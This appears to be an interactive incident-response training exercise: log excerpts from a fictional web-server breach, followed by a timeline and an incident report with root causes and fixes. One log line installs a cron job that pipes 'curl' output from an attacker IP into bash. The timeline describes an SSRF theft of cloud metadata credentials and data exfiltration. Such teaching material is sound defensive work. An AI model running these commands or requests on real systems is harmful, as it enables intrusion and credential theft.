Three log files. One intrusion. Walk the timeline, identify the IOCs, write the report.
Scenario
It's 8:47 AM, June 5, 2026. The Heliotrope Defense Systems on-call gets paged: "unusual outbound traffic from web01.heliotrope.com to an IP we don't recognize." You pull the relevant logs and start the analysis.
You have three sources: Apache access logs from the public-facing web server, auth.log from the same host, and Sysmon-style host telemetry showing process creation events. Click any highlighted entry to add it to your findings. Then build the timeline and write the report.
Jun 5 06:00:01 web01 CRON[18221]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 5 07:14:33 web01 sshd[19421]: Accepted publickey for alice from 10.0.0.42 port 51123 ssh2: RSA SHA256:abc123...
Jun 5 07:14:33 web01 sshd[19421]: pam_unix(sshd:session): session opened for user alice by (uid=0)
Jun 5 07:42:17 web01 sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
Jun 5 08:07:11 web01 sshd[20104]: Failed password for invalid user admin from 203.0.113.55 port 41822 ssh2Jun 5 08:07:13 web01 sshd[20104]: Failed password for invalid user root from 203.0.113.55 port 41822 ssh2Jun 5 08:07:14 web01 sshd[20104]: Failed password for invalid user ubuntu from 203.0.113.55 port 41822 ssh2Jun 5 08:07:16 web01 sshd[20104]: Failed password for invalid user oracle from 203.0.113.55 port 41822 ssh2Jun 5 08:07:18 web01 sshd[20104]: Connection closed by 203.0.113.55 port 41822 [preauth]
Jun 5 08:15:09 web01 sshd[20218]: Accepted password for webapp from 203.0.113.55 port 42003 ssh2Jun 5 08:15:09 web01 sshd[20218]: pam_unix(sshd:session): session opened for user webapp by (uid=0)
Jun 5 08:16:42 web01 sudo: webapp : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash -c 'crontab -l; echo "*/5 * * * * curl -s http://203.0.113.55/beacon | bash" | crontab -'Jun 5 08:31:55 web01 sshd[20218]: pam_unix(sshd:session): session closed for user webapp
Findings · click highlighted log entries above to populate
No findings yet. The yellow-highlighted lines in each tab are the interesting ones.
Build the timeline
Once you've found all seven indicators across the three logs, you can stitch them into a chronological narrative of what happened. Click the button to reveal the official timeline.
Reconstructed timeline · what actually happened
06:14–06:22
Recon (innocuous). Casual scan from 198.51.100.12 hitting /, robots.txt, /admin. Probably noise; ignore for now but note the IP.
08:01–08:02
Active enumeration from 203.0.113.55. User-agent identifies the tool as Nmap. Attacker probes for common admin paths and a /preview endpoint accepting URLs.
08:02:03–08:02:05
SSRF to AWS IMDS. Preview endpoint fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role. Server returns 200 with 1247 bytes — the role's credentials. The web app's IAM role credentials are now in the attacker's hands.
08:07:11–08:07:18
SSH credential spraying. Attacker tries common usernames (admin, root, ubuntu, oracle) against SSH. All fail. This is likely an automated step from the same attacker, but also a useful indicator they're systematic.
08:15:09
Successful SSH login as webapp. Either the credentials came from the stolen IAM context (the app's deployment secrets), or the attacker pivoted via the AWS API. Either way: they have shell access as the application user.
08:16:33–08:16:42
Payload download + persistence. Downloads payload.sh from C2 and installs a cron-based callback every 5 minutes via sudo. Why does webapp have NOPASSWD sudo? — that's the configuration error that turned shell access into persistence + privilege escalation.
08:18:02–08:19:11
Data exfiltration.tar czf packages /var/www/heliotrope/data/. POST to 203.0.113.55/up uploads 42 MB. NetworkConnect telemetry shows the byte count; the egress was successful.
08:31:54–08:31:55
Cleanup. Attacker deletes the staged files and logs out. The cron-based beacon stays behind for ongoing access.
Incident report · key elements
Once the timeline is clear, the incident report writes itself:
Initial access vector: SSRF in /api/v1/preview reached AWS IMDSv1 and stole role credentials for web-app-role.
Pivot to interactive access: SSH login as webapp (credentials likely obtained from the IAM role's secret access).
Persistence: Cron entry every 5 minutes calling out to 203.0.113.55/beacon.
Impact: 42 MB of data from /var/www/heliotrope/data/ exfiltrated to 203.0.113.55.
Root causes: (a) SSRF vulnerability in preview endpoint; (b) IMDSv1 enabled on the EC2 instance (IMDSv2 would have required a session token); (c) NOPASSWD sudo for the webapp user.
Containment: isolate web01 from network; rotate web-app-role credentials; remove cron persistence; block 203.0.113.55 at perimeter; revoke webapp SSH access.
Remediation: patch SSRF (URL allow-list); enforce IMDSv2 on all EC2; remove NOPASSWD from webapp sudoers; require MFA for cloud console access.
The point
Log analysis is the foundational DFIR skill. Most intrusions leave a trail across multiple logs that no single source captures. The web access log told you the SSRF happened; the auth log told you SSH came next; the host telemetry told you the persistence and exfiltration. Each in isolation looks like noise; together they reconstruct the story.
The discipline is centralized logging (so all three sources are queryable in one place), retention long enough to look back when an alert fires, and the analytical pattern of walking the timeline, not chasing the most suspicious-looking single entry. Real DFIR work spends most hours doing exactly the exercise above — on real logs at much larger scale.